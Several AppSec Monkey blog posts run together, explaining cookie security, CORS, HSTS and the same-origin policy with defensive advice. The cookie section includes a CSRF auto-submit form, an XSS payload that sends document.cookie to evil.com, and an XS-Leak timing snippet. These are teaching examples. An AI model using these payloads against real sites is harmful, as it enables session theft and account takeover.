There is a multitude of cookie-related security risks. Here are some of the most prominent ones:

CSRF (Cross-Site Request Forgery)

These vulnerabilities usually arise when a web application that uses cookies for session management fails to verify an HTTP POST request's origin.

Say, for example, that users could log in to AppSec Monkey and update their email addresses.

The backend code would perhaps look like this (at least if you use Django):

def update_email(request):
  new_email = request.POST['new_email']
  set_new_email(request.user, new_email)

Now let's say there's an evil website evil.example.com with the following HTML form and auto-submit script:

<form method="POST"  action="https://www.appsecmonkey.com/user/update-email/">
  <input type="hidden" name="new_email" value="evil@example.com" />
</form>
<script type="text/javascript">
  document.badform.submit();
</script>

When a user that is currently logged in to www.appsecmonkey.com enters the malicious website, the HTML form is auto-submitted on the user's behalf, and the following HTTP POST request gets immediately sent to www.appsecmonkey.com:

POST /user/update-email/ HTTP/1.1
Host: www.appsecmonkey.com
Cookie: SessionId=s3cr3t
...

new_email=evil@example.com

And the email address gets changed.

Notice how the SessionId cookie was included in the request, making the attack possible.

Read more about CSRF attacks here: CSRF Attacks & Prevention

XSS (Cross-Site Scripting)

XSS vulnerabilities arise when untrusted data gets interpreted as code in a web context. They can result from many programming mistakes, but here is a simple example.

Say, we have a PHP script like this.

echo "<p>Search results for: " . $_GET('search') . "</p>"

It is vulnerable because it generates HTML unsafely. The search parameter is not encoded correctly. An attacker can create a link such as the following, which would execute the attacker's JavaScript code on the website when the target opens it:

https://www.example.com/?search=<script>alert("XSS")</script>

Results in HTML like:

<p>Search results for: <script>alert("XSS")</script></p>

Now what the attacker can do, is change the alert("XSS") into something more nefarious. For example, the following IMG tag would take the logged in user's cookies and send them over to evil.com:

https://www.example.com/?search=<img src=x onerror="this.src='https://www.evil.com/collect?cookie='+document.cookie">

Note how the cookie was accessible to JavaScript code, making it possible to steal it. Note also how the cookie was sent in the GET request to https://www.example.com/search, making it possible to exploit the XSS vulnerability in the context of an authenticated user.

Read more about XSS attacks here: XSS Attacks & Prevention

XS-Leaks (Cross-Site Leaks)

XS-Leaks (or Cross-Site Leaks) are a set of browser side-channel attacks. They enable malicious websites to infer data from the users of other web applications.

For instance, evil.com could send a request to www.example.com on your behalf, and based on the response time, deduce what kind of content was returned to you.

var start = performance.now()

fetch('https://www.example.com', {
  mode: 'no-cors',
  credentials: 'include'
}).then(() => {
  var time = performance.now() - start;
  console.log("The request took %d ms.", time);
});

There are many, many more similar techniques and novel attacks using them. For this article's purposes, just notice that the timing attack was possible because the browser included the session cookie in the cross-site request.

Read more about XS-Leaks here: XS-Leaks Attacks & Prevention

Network Attacks

An attacker on the same network as the browser user can trivially intercept the network connection between the browser and the webserver. That's just how the network protocols work.

As such, developers and architects should not consider network medium a security control (encryption is a security control), but that's a rant for another day.

An attacker on the network can then force the target user's browser into making an unencrypted connection to http://www.example.com and then steal the session cookie from the request.

Notice how the session cookie, which was only supposed to be used on an HTTPS page, was transmitted over an unencrypted connection.

Network attacks can also be used to set or overwrite cookies. For example, the attacker could again force an unencrypted connection to the webserver and then forge a reply with a Set-Cookie header.

Set-Cookie: SessionId=123

The security implications of forcing a cookie into a user's browser vary.

A typical attack is session fixation. An attacker forces a session identifier into the target user's browser and then waits for the user to log in. The vulnerable web application fails to create a new session identifier on login. Instead, it authenticates the cookie already known to the attacker.

For our purposes here, observe how it was possible to set the cookie over an unencrypted connection.

Malicious Subdomains

Let's say you have safe.example.com and hacked.example.com.

The first way in which the hacked domain could attack your users' cookies is that you have for some reason specified the domain property and scoped your cookie to .example.com.

Now hacked.example.com only has to redirect your logged-in user to their website, and the cookies will be theirs.

The second way is that hacked.example.com sets or overwrites a cookie and scopes it to the domain .example.com. Now the cookie, which was set by hacked.example.com will be sent to safe.example.com. The security implications again differ for each application, but session fixation is a common threat.

Physical Attacks

A subsequent computer user can inspect the browser's memory, cache, cookies, storage, etc. after the previous user has left. Suppose there are valid session identifiers on the disk. In that case, the attacker can restore the session and log in as the previous computer user.

Attack Prerequisites

We have identified the following key requirements for various cookie-related attacks.

Browsers allow transmitting the cookie in cross-site requests.
Browsers allow JavaScript code to access the cookie.
Browsers send the cookie in unencrypted requests.
Browsers allow setting the cookie within unencrypted connections.
Browsers allow for subdomains to set the cookie.
Browsers allow for the cookie to persist upon browser sessions.
Webservers don't create a new session identifier upon authentication.
Webservers don't invalidate session identifiers upon logout.
Webservers don't adequately clear the cookies upon logout.

Let's now start looking into how we can deprive attackers of each of them, one by one.

SameSite Property

The first cookie security feature that we'll talk about is the SameSite property.

Remember how the prerequisite for many attacks (CSRF, XSS, some XS-Leaks) was that the browser includes the session cookie in cross-site requests? Well, that precisely is what SameSite prevents.

There are three modes in SameSite, depending on how strict you want the protection to be: Lax, Strict and None.

Generally, Lax is suitable for all applications, while Strict tends to be a better fit for security-critical systems.

SameSite Lax

The lax mode mitigates many XS-leaks, most CSRF, and also some XSS attacks. It does this by preventing the cookie from being included in cross-site requests, except for top-level navigation when the user clicks a link, gets redirected, opens a bookmark, etc.

Set-Cookie: SessionId=s3cr3t; SameSite=Lax; ...

SameSite Strict

The strict mode prevents even more XS-Leaks and CSRF attacks and is pretty good at blocking reflected XSS attacks. It doesn't allow for browsers to include the cookie even in top-level browsing. The strict mode will usually hurt UX and is not suitable for all applications.

Set-Cookie: SessionId=s3cr3t; SameSite=Strict; ...

SameSite None

None is just for opting out because SameSite=Lax is starting to be the default on newer browsers.

Set-Cookie: SessionId=s3cr3t; SameSite=None; Secure; ...

Read more about the SameSite property here: SameSite Cookies and Why They Are Awesome

__Host-prefix

The next cookie security feature on our list is the __Host prefix. This is not very widely known, but when it comes to cookies, name matters! Name your cookies __Host-Something, and web browsers will apply two significant restrictions on how webservers can set the cookie.

Browsers will not allow setting the cookie over an unencrypted connection or without the Secure attribute.
Browsers will not allow setting the domain property, forcing the cookie to be a hostOnly cookie (hence the prefix name).

Set-Cookie: __Host-SessionId=s3cr3t ...options...

The __Host-prefix defends against network attacks and malicious subdomains.

HttpOnly Property

One of the cookie security features is there specifically to protect against XSS, and that is the HttpOnly property.

This property will prevent JavaScript code from accessing the cookie, preventing an attacker from stealing it in the event of a successful XSS (Cross-Site Scripting) attack.

Set-Cookie: SessionId=s3cr3t; ...other options... HttpOnly

Secure cookies

Finally, the Secure property will prevent the cookie from being leaked over an (accidental or forced) unencrypted connection to the webserver. Browsers won't include cookies set with the Secure property in http:// or ws:// requests, only https:// and ws://.

Set-Cookie: SessionId=s3cr3t; ...other options... Secure

Handling User Login

To prevent the session fixation attacks mentioned above, you must always create a new session identifier for the user upon successful authentication. Never "make the old session id authenticated".

Expiration

By setting an expiration time for a cookie, browsers won't delete it before that time arrives, even if the user closes the browser.

Set-Cookie: SessionId=s3cr3t; Expires=Tue, 15 Feb 2021 08:00:00 GMT

As such, it's best not to set this property. Omitting Expires will make the cookie a session cookie in browser terminology, which means that the browser is much more likely to delete it when the browser closes.

I say "much more likely" because browsers can decide to keep the cookies on disk for "restore session" features.

Still, it's best to try, at least.

Clearing Cookies

Webservers delete cookies by setting a new cookie with a dummy value such as "deleted" with an expiration time set to the past.

Set-Cookie: SessionId=deleted; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT

You can still do that. But you can also return the Clear-Site-Data header to instruct the browser to remove any cookies for your website.

Clear-Site-Data: "cookies"

In fact, the Clear-Site-Data can do much more:

Clear-Site-Data: "cookies", "cache", "storage", "executionContexts"

Read more about Clear-Site-Data here: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data

Handling User Logout

When the user logs out, in addition to clearing the cookies from the browser, you must invalidate the session identifier on the server-side.

This way, even if a cookie gets compromised after the user has logged out, that cookie no longer has any value to an attacker.

The Perfect Cookie

This is a reasonable secure cookie:

Set-Cookie: __Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Lax; Path=/

This is as secure as we can currently get, but the SameSite=Strict may hurt user experience.

Set-Cookie: __Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Strict; Path=/

Conclusion

There are quite a few cookie-related attacks, but luckily modern browsers provide us with mechanisms to mitigate them quite well.

Name your cookies __Host-something to protect against network attacks and malicious subdomains.
Omit the Domain property to protect against malicious subdomains.
Set the SameSite property to either Lax or Strict to protect against XSS, CSRF, and XS-Leaks attacks.
Set the HttpOnly property to protect the cookie from theft upon XSS attacks.
Set the Secure property to protect the cookie from being leaked when targeted by network attacks.
Create a fresh session cookie for your users upon authentication.
Omit the Expires property when setting the cookie to instruct browsers to delete it after the browser closes. They won't always obey, but it's best to try, at least.
Invalidate the session cookies on the server-side when the user logs out so that the cookie will not be useful to an attacker anymore.
Clear the cookies by setting a dummy value and an expiration time in the past.
Also clear the cookies and preferably the cache, storage, and executionContext as well by sending the Clear-Site-Data header upon logout.

Get the web security checklist spreadsheet!

☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.

CORS (Cross-Origin Resource Sharing): A Complete Guide

Teo Selenius — Tue, 09 Mar 2021 08:28:24 +0000

Never be frustrated with CORS again. Learn what cross-origin resource sharing is, why it exists, and how to embrace it.

You can read the original post here: CORS on AppSec Monkey

What is CORS?

CORS, or Cross-Origin Resource Sharing is an opt-in browser feature that websites can use to relax the same-origin policy in a controlled way.

Browsers facilitate CORS via the Access-Control-Allow-* headers, which we'll get to soon.

I don't want you to be frustrated with CORS, so let's cover just a little bit of theory first. Specifically, let's take a look at the same-origin policy.

What is the Same Origin Policy?

I've written about this at length in here, but to give you the TL;DR, the same-origin policy is a set of design principles that govern how web browser features are implemented.

Its purpose is to isolate browser windows (and tabs) from each other.

For example, when you go to example.com, the website will not be able to read your emails from gmail.com (which you may have open in another tab). This is due to the workings of the same-origin policy.

What is an Origin?

The definition of an origin is simple. Two websites are of the same origin if their scheme (http://, https://, etc.), host (e.g., www.appsecmonkey.com), and port (e.g., 443) are the same. You can find the definition in RFC6545 - The Web Origin Concept.

Implicit ports

If the port is not explicitly specified, it's implicitly 80 for http and 443 for https.

Examples

Browsers consider these URLs to be of the same origin:

https://www.appsecmonkey.com/
https://www.appsecmonkey.com/blog/same-origin-policy/
https://www.appsecmonkey.com:443/blog/same-origin-policy/

And these are all of different origins:

http://www.appsecmonkey.com/
https://appsecmonkey.org/
https://www.appsecmonkey.com:8080/

What is allowed by the same-origin policy, and what is not?

In general, writing and embedding are allowed, and reading is denied. How exactly this applies depends on the browser feature, but here are a few examples that concern CORS in particular. We can divide the examples into two categories:

Sending the HTTP request is allowed, but accessing the response is not. This is the case for simple requests with whitelisted HTTP verb, headers, and content-type.
Even sending the request is not allowed. This is the case with preflighted requests with non-whitelisted HTTP verb, headers, or content-type.

✅ Allowed: Sending credentialed cross-origin GET, HEAD, and POST requests with XHR

The following will work. You will get an error, but the request will be sent. You can verify with your browser's developer tools, or better yet, set up a proxy tool such as OWASP ZAP between your browser and the webserver to see what's going on.

let xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'http://b.local/');
xhr.send()

Developer tools reveal that the browser indeed sent the following HTTP request to the server.

GET / HTTP/1.1
Host: b.local
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://a.local
Connection: keep-alive
Referer: http://a.local/
Cookie: SESSIONID=s3cr3t
Pragma: no-cache
Cache-Control: no-cache

❌ Not allowed: Inspect the XHR response

However, you will not be able to read the response that you get. This is the same-origin policy in action. Writing (sending the XHR request) is allowed, but reading the response is not.

❌ Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://b.local/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing).

✅ Allowed: Sending credentialed cross-origin GET, HEAD, and POST requests with fetch

Using fetch will work just the same. We can use JavaScript to submit an URL-encoded form to the webserver.

fetch('http://b.local/', {method: 'POST', credentials: 'include', body: "foo=bar", headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
},});

And the following HTTP request is sent:

POST / HTTP/1.0
Host: b.local
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://a.local/
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: http://a.local
Content-Length: 7
Connection: keep-alive
Cookie: SESSIONID=s3cr3t
Pragma: no-cache
Cache-Control: no-cache

❌ Not allowed: Inspect the fetch response

It's the same with fetch. Sending the credentialed, cross-origin POST request was permitted, but accessing the response was denied.

❌ Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://b.local/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing).

We'll get to what the Access-Control-Allow-Origin thing is in a minute, but let's look at a couple more scenarios first.

❌ Not allowed: Sending PUT, PATCH, DELETE, etc. requests

Only specific HTTP verbs are allowed by default (GET, POST, HEAD, and OPTIONS).

fetch('http://b.local/', {method: 'PUT', credentials: 'include'});
❌ Access to fetch at 'http://b.local/' from origin 'http://a.local' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

Note that this time the browser didn't send the request at all. Also, note that the error is now different. It's talking about a preflight request. We'll get to that soon.

❌ Not allowed: Sending arbitrary headers

Trying to send a request with arbitrary headers is not allowed by the same-origin policy.

fetch('http://b.local/', {
    method: 'POST', credentials: 'include', headers: {
        'Foo': 'Bar'
    },
});
❌ Access to fetch at 'http://b.local/' from origin 'http://a.local' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

Only the CORS-safelisted headers are allowed by default. And they are:

Accept
Accept-Language
Content-Language
Content-Type

❌ Not allowed: Sending JSON requests

While the Content-Type header is safelisted, it is so with restrictions. Specifically, only the following values are acceptable:

application/x-www-form-urlencoded
multipart/form-data
text/plain

fetch('http://b.local/', {
    method: 'POST', credentials: 'include', headers: {
        'Content-Type': 'application/json'
    },
});
❌ Access to fetch at 'http://b.local/' from origin 'http://a.local' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

Again with the preflight.

Alright, now that you understand the restrictions that same-origin policy places upon you, I'll tell you what CORS is and how it helps you get around those limitations in a controlled way.

Cross-Origin Resource Sharing (CORS)

CORS can lift the above restrictions. It's not a browser security mechanism like the same-origin policy. CORS is a browser insecurity-mechanism, so read carefully and use it with consideration.

Browsers implement CORS as a set of four HTTP response headers, which we'll get to right now.

Access-Control-Allow-Origin

The first header is Access-Control-Allow-Origin. Developers can use it to grant cross-origin requests the read-permission to a website's resources (which is denied by the same-origin policy by default).

Possible values are:

a specific origin such as https://www.appsecmonkey.com
a wildcard, allowing any domain

For example:

Access-Control-Allow-Origin: https://wwww.appsecmonkey.com

Or:

Access-Control-Allow-Origin: *

It's either-or. Something like this would not work:

Access-Control-Allow-Origin: *.appsecmonkey.com

Also, specifying multiple origins is not allowed, so the following would not work either.

Access-Control-Allow-Origin: https://foo.appsecmonkey.com, https://bar.appsecmonkey.com/

CORS wildcard restrictions

The wildcard will not work in combination with Access-Control-Allow-Credentials: true, which you'll learn about shortly. Just remember this limitation.

How to specify multiple CORS origins?

The spec doesn't support multiple origins. However, in practice, it has been solved by generating the Access-Control-Allow-Origin header dynamically in your code. This workaround is facilitated by the Origin request header, which browsers send in all POST and CORS requests.

Note that there is a security hazard here. It's best to use a well-established CORS library for your development framework of choice instead of implementing a homemade solution.

At any rate, you should have a strict whitelist of possible origins. Do not implement logic that, e.g., checks if the request origin contains a specific string or starts with one.

Access-Control-Allow-Credentials

By default, CORS doesn't allow credentialed requests (that include the browser user's cookies). After all, credentialed CORS requests effectively give the websites to whom the privilege is granted full read and write control of the browser user's data in the application.

If you still want to enable it, you can use the Access-Control-Allow-Credentials header like so:

Access-Control-Allow-Credentials: true

Just note the limitation mentioned above: this does not work in conjunction with Access-Control-Allow-Origin: *.

Important caveat about SameSite cookies

Browsers are starting to adopt SameSite cookies in Lax mode as the default. I've written about SameSite cookies at length here.

What this means is that cookies are by default protected from cross-site interactions. If you are banging your head against the wall trying to figure out why the browser doesn't send your cookie even when you have all the proper headers in place, it might be SameSite cookies in action.

Access-Control-Allow-Headers

If you want to send custom headers or lift the restriction on the Content-Type header to, e.g., send JSON requests, you can use the Access-Control-Allow-Headers to do so.

Access-Control-Allow-Headers: content-type

Access-Control-Allow-Methods

Finally, suppose you want to enable other HTTP verbs than GET, POST, HEAD, and OPTIONS. In that case, you have to use the Access-Control-Allow-Methods header.

Access-Control-Allow-Methods: GET, POST, HEAD, PUT, PATCH, DELETE

In fact, even if you only want to allow, e.g., POST requests, you are still required to return Access-Control-Allow-Methods if there are any other factors that cause your request to be preflighted, which we'll talk about next.

Preflight

Simple requests with the whitelisted HTTP verbs, headers, and content-type are always sent. Still, the website is forbidden access to the response data if the response doesn't contain the appropriate Access-Control-Allow-Origin header.

But how does the browser know whether it is allowed to send a PUT request or not? If the answer to the question "can I send a PUT request" is in response to the PUT request, doesn't this create a chicken and egg problem? That's a great question, and the answer is simple: we send two requests.

The browser first sends an OPTIONS request with the Origin header, and then looks at the response headers for that request. If PUT is allowed (in Access-Control-Allow-Methods), only then the preflight succeeds, and the browser sends the desired PUT request.

Of course there are other reasons why the preflight might fail. For example, you might be trying to send a request with credentials included, but the webserver doesn't return Access-Control-Allow-Credentials: true in the preflight HTTP response.

This first OPTIONS request is aptly named the preflight request.

CORS in action

Let's revisit one of the tests we made earlier, but this time, http://b.local/ returns the following HTTP response headers:

Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Methods: GET, HEAD, POST, PUT
Access-Control-Allow-Origin: http://a.local

✅ Allowed: Sending credentialed cross-origin GET, HEAD, POST, and PUT requests with fetch and reading the response

Now we have complete control of the cross-origin page.

fetch('http://b.local', {method: 'PUT', credentials: 'include', headers: {
        'Content-Type': 'application/json'
    }}).then(function (response) {
    return response.text();
}).then(function (html) {
    // This is the HTML from our response as a text string
    console.log(html);
});

<!doctype html>
<html lang=en>

<head>
    <meta charset=utf-8>
    <title>b.local</title>
    ...

☠ Security Impact: If you specify CORS headers like this, you are giving the allowed origins complete control over your website, including any authenticated user data and functionality. The same-origin policy is there to protect you, so think carefully before opting out of it.

Using CORS

If your requirements are simple, you can just add the static headers to your application/web server configuration.

However, if you have to deal with multiple origins, it's best to use a CORS library for your development framework. For example, this is how you configure CORS in flask:

CORS(
    app,
    origins=['http://a.local', 'http://c.local'],
    allow_headers=['content-type'],
    supports_credentials=False,
    methods=['PUT', 'PATCH', 'DELETE']
)

Exposing headers

By default, only the CORS-safelisted response headers are exposed to to JavaScript code in CORS requests. So if your webserver returns the header Foo: Bar, even CORS requests won't be able to access it.

If you want browsers to access this header, you can do so via the Access-Control-Expose-Headers like so:

Access-Control-Expose-Headers: Foo

Conclusion

Browsers consider two websites to be of the same origin if they have the same scheme, host, and port.

The same-origin policy places several restrictions over cross-origin interactions. Most notably for CORS:

Sending "simple" requests with a whitelisted HTTP verb, headers, and content-type is allowed, but accessing the response is not.
Sending "preflighted" requests with non-whitelisted HTTP verb, headers and content-type are not allowed at all.

CORS, or Cross-Origin Resource Sharing, is a browser insecurity-mechanism for your web application to opt-out of some of these restrictions in a controlled way.

However, CORS should be used with consideration and implemented using a well-established CORS library for your development framework of choice.

Get the web security checklist spreadsheet!

☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.

HSTS Header (Strict Transport Security) Explained

Teo Selenius — Sat, 06 Mar 2021 11:34:27 +0000

Learn why HTTPS is not enough to protect your website from network attacks and how the HSTS header comes in to solve the problem. Let's begin!

The original article can be found here: HSTS on AppSec Monkey.

What is HSTS?

HTTP Strict Transport Security is an opt-in browser security feature that prevents browsers from making any unencrypted connections to a domain.

By unencrypted connections I mean using http instead of https (or ws instead of wss for WebSockets).

You can enable the protection for your website with the Strict-Transport-Security header like so:

Strict-Transport-Security: <options>

There are 3 options, max-age, includeSubdomains and preload. We'll get to those in a minute, but first, let me explain why it is so important that you implement HSTS in your web application.

Why is HSTS important?

The HSTS header prevents network attacks against your web application. If you are not using it, here is how your application might work:

Scenario 1: No HSTS, No Attacker

The user types in www.example.com

The user's browser sends an unencrypted HTTP request to http://www.example.com/

The webserver returns a redirect to https://www.example.com

The user's browser sends an encrypted HTTPS request to https://www.example.com/.

The webserver returns with the login page.

The user enters their username and password, which the browser safely sends to the webserver across a secure TLS connection.

But what if there is an attacker on the network? HTTPS doesn't help. Let me show you what I mean.

Scenario 2: No HSTS, Attacker on the network

The user types in www.example.com

The user's browser sends an unencrypted HTTP request to http://www.example.com/

The attacker intercepts this unencrypted request and returns the login page from the real server. Crucially, the connection is still unencrypted.

The user gives their username and password straight to the attacker over the unencrypted connection.

Oops. That's not good.

Now let's see what happens when the HSTS header protects the web application.

Scenario 3: HSTS

The user types in www.example.com

The website uses HSTS, so the user's browser right away sends an encrypted HTTPS request to https://www.example.com/. The attacker doesn't get a chance.

The webserver returns with the login page.

The user enters their username and password, which the browser safely sends across a secure TLS connection.

See how HSTS prevented the attack? But now you may be asking...

What if the user is visiting the website for the first time?

An excellent question! If the user is visiting the website for the first time, the user's browser hasn't had the chance to see the HSTS header yet.

In this case, the attack is still possible because the attacker takes over the connection before the actual web server gets a chance to tell the user's browser to use HSTS.

Luckily, there is a solution, and I promise you'll know everything about it by the end of this article. It has to do with the third option, preload, but let's look at the other two options first!

The max-age parameter

The first parameter in the HSTS header is max-age. It is the amount in seconds for how long you want browsers to remember the header once they see it.

For example, the following header would enable HSTS for one minute for the domain that sends it. The browser would then, for 60 seconds, refuse to make any unencrypted connections to the domain.

Strict-Transport-Security: max-age=60

Such a short time is generally not very useful. It's more common to see values for a year or two years like so:

# 1 year
Strict-Transport-Security: max-age=31536000

# 2 years
Strict-Transport-Security: max-age=63072000

Browsers will refresh the time every time they see the header.

☝️ Note

When implementing HSTS in a production environment, it's good to start with a small max-age and then slowly ramp it up to a year or two years. This way, you can quickly recover if something breaks.

Canceling HSTS

The second use-case for the max-age parameter is to cancel HSTS if you want to get rid of it. By returning max-age of zero, browsers will remove the protection once they see the header.

# Cancel HSTS
Strict-Transport-Security: max-age=0

The includeSubdomains parameter

The second parameter is includeSubdomains. By default, the HSTS header will only affect the domain that serves it. That is, if https://www.example.com sends it, then only www.example.com will be protected, foo.www.example.com will not.

To include subdomains, add includeSubdomains like so:

# Store for 2 years, apply also to subdomains
Strict-Transport-Security: max-age=6307200; includeSubdomains

☝️ Note

The includeSubdomains directive is a requirement for preloading, which we'll look at next.

HSTS preloading

The third parameter, preload, facilitates HSTS preloading.

As I mentioned earlier, preloading is a mechanism that you can use to protect your website with the HSTS header even when the user is visiting the website for the first time.

It works so that you tell Google to protect your website, and they will see that all of the major browsers will change their source code to preload the HSTS header for your domain.

No joke! You can see the JSON file right here. If you look carefully, you will find appsecmonkey there!

{ "name": "appsecmonkey.com", "policy": "bulk-1-year", "mode": "force-https", "include_subdomains": true },

There are a couple of prerequisites for enabling preloading for your domain, though.

First and foremost, you have to serve an HSTS header with the preload directive. Additionally, the max-age has to be >= a year, and you have to add includeSubdomains.

# Store for two years, also apply to subdomains, enable preloading
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Also, your domain must return a valid TLS certificate on the HTTPS port (443) and redirect to HTTPS on port 80 (if port 80 is enabled).

When you meet these requirements, go to https://hstspreload.org/ and submit your domain like so:

Conclusion

HTTPS is not enough to protect the users of your web application from network attacks. And as long as there are unencrypted websites on the Internet, browser vendors cannot merely disable unencrypted connections altogether.

Luckily there is an opt-in mechanism for websites that don't want any unencrypted connections. And that is the HSTS header.

When implementing HSTS in production, it's best to start with a slow max-age and slowly ramp it up.

Finally, it's possible (and highly recommended) to preload your HSTS header into the major web browser's source code by submitting your domain to hstspreload.org. But think it through before you do so; canceling is a slow and painful process.

Get the web security checklist spreadsheet!

☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.

Same Origin Policy: Demystified

Teo Selenius — Thu, 04 Mar 2021 08:22:49 +0000

The original article is here: Same Origin Policy on AppSec Monkey.

What is the Same Origin Policy?

Same Origin Policy is a set of design principles that govern how web browser features are implemented.

Its purpose is to isolate browser windows (and tabs) from each other so that, for example, when you go to example.com, the website will not be able to read your emails from gmail.com, which you may have open in another tab.

What is an Origin?

Implicit ports

If the port is not explicitly specified, it's implicitly 80 for http and 443 for https.

Examples

These URIs are considered to be of the same origin:

https://www.appsecmonkey.com/
https://www.appsecmonkey.com/blog/same-origin-policy/
https://www.appsecmonkey.com:443/blog/same-origin-policy/

And these are all of different origins:

http://www.appsecmonkey.com/
https://appsecmonkey.org/
https://www.appsecmonkey.com:8080/

What is allowed by the same-origin policy, and what is not?

In general, writing is allowed, and reading is denied. How exactly this applies depends on the browser feature, so let's see some examples.

JavaScript Window Access

There are many ways in which a website can get a handle to another window. However, you can restrict this by using a COOP (Cross-Origin Opener Policy) and the frame-ancestors directive of CSP (Content Security Policy).

These methods include:

Using window.open.
Creating a frame (like we're about to).
Using window.opener if the website is framed by another.
Received postMessage event.source.

This handle provides access to stripped-down versions of the window and location objects.

Let's run some experiments on http://a.local. We'll start by getting a window handle to http://b.local by creating a cross-origin frame like so:

var crossOriginFrame = document.createElement("iframe");
crossOriginFrame.src = "http://b.local";
document.body.appendChild(crossOriginFrame);
var handle = crossOriginFrame.contentWindow;

Now let's see what we can do with it.

❌ Not allowed: Read cross-origin content

console.log(handle.document.body.innerHTML);
❌ Uncaught DOMException: Blocked a frame with origin "http://a.local" from accessing a cross-origin frame.

❌ Not allowed: Write cross-origin content

handle.document.body.innerHTML = "<h1>Hacked</h1>";
❌ Uncaught DOMException: Blocked a frame with origin "http://a.local" from accessing a cross-origin frame.

✅ Allowed: Read the number of frames within the cross-origin window

console.log(handle.frames.length);
✅ 2

☠ Security Impact:
Being able to count the frames enables the frame counting cross-site leak attack.

❌ Not allowed: Read cross-origin URI

console.log(handle.location.href)
❌ Uncaught DOMException: Blocked a frame with origin "http://a.local" from accessing a cross-origin frame.

✅ Allowed: Write cross-origin URI

handle.location.replace("https://www.example.com");

☠ Security Impact:
Websites that you frame on your website can get a window handle to it via the window.opener property. This means that if you load a malicious website in an iframe on your website, the frame can change the URI of your site into, e.g., a phishing page (clone of your page that, e.g., steals your users' passwords or makes them download something malicious). You can prevent this using sandboxed iframes.

✅ Allowed: Messaging to the window via postMessage

The postMessage method allows cross-origin windows to communicate with each other.

// on http://b.local/
window.addEventListener("message", (event) => {
    document.write("Got message: " + event.data)
}, false)

// on http://a.local/
handle.postMessage("hello", "http://b.local");

❌ Not allowed: Read localStorage or sessionStorage

console.log(handle.localStorage);
❌ Uncaught DOMException: Blocked a frame with origin "http://a.local" from accessing a cross-origin frame.

console.log(handle.sessionStorage);
❌ Uncaught DOMException: Blocked a frame with origin "http://a.local" from accessing a cross-origin frame.

Resource Embedding and JavaScript Access

In general, embedding any resource (image, style, script, etc.) is allowed cross-origin, but JavaScript cannot directly access the resource. However, you can restrict this with a CORP (Cross-Origin Resource Policy).

Furthermore, when embedding resources, the browser user's cookies for the embedded resource's site are sent along with the request. Effectively this allows websites to send credentialed (with cookies) cross-site GET and HEAD requests.

☠ Security Impact:
The fact that browsers send cookies along with these requests enables CSRF (Cross-Site Request Forgery) attacks if your website allows performing actions (e.g., transfer money, change password, delete account) via GET requests (which it, of course, shouldn't).

Let's see a couple of examples of cross-site resources.

✅ Allowed: Displaying an image

<img id="cross-origin-image" src="http://b.local/monkey.png"/>

✅ Allowed: Create a canvas from the image

var crossOriginImage = document.getElementById("cross-origin-image");
var canvas = document.createElement("canvas");
canvas.width = crossOriginImage.width;
canvas.height = crossOriginImage.height;
canvas.getContext('2d').drawImage(crossOriginImage, 0, 0, crossOriginImage.width, crossOriginImage.height);
document.body.appendChild(canvas);

❌ Not allowed: Read pixels from the canvas

canvas.getContext('2d').getImageData(1, 1, 1, 1).data;
❌ Uncaught DOMException: Failed to execute 'getImageData' on 'CanvasRenderingContext2D': The canvas has been tainted by cross-origin data.

✅ Allowed: Loading a style

This is fine. The style will be rendered on the page.

<link rel="stylesheet" href="http://b.local/test.css"/

❌ Not allowed: Read the style contents

console.log(document.styleSheets[0].cssRules);
❌ Uncaught DOMException: Failed to read the 'cssRules' property from 'CSSStyleSheet': Cannot access rules
    at <anonymous>:1:25

✅ Allowed: Loading a script

<script id="cross-origin-script" src="http://b.local/test.js"></script>

Here is the content of test.js:

var x = 5;

❌ Not allowed: Read the script source

There is no way to get the source of the script.

✅ Allowed: Access data and functions provided by the script

The script had the x variable, remember? We can use it now on our page.

 console.log(x);
 5

This is essentially how JSONP worked (don't use it anymore, it was never a good idea, and these days we have better ways which you'll see in a minute).

☠ Security Impact:
The fact that browsers allow access to the data/functions provided by cross-domain scripts enables XSSI (Cross-Site Script Inclusion) attacks if your website serves dynamic JavaScript files with authenticated user data in them. So don't do anything like that.

HTML forms

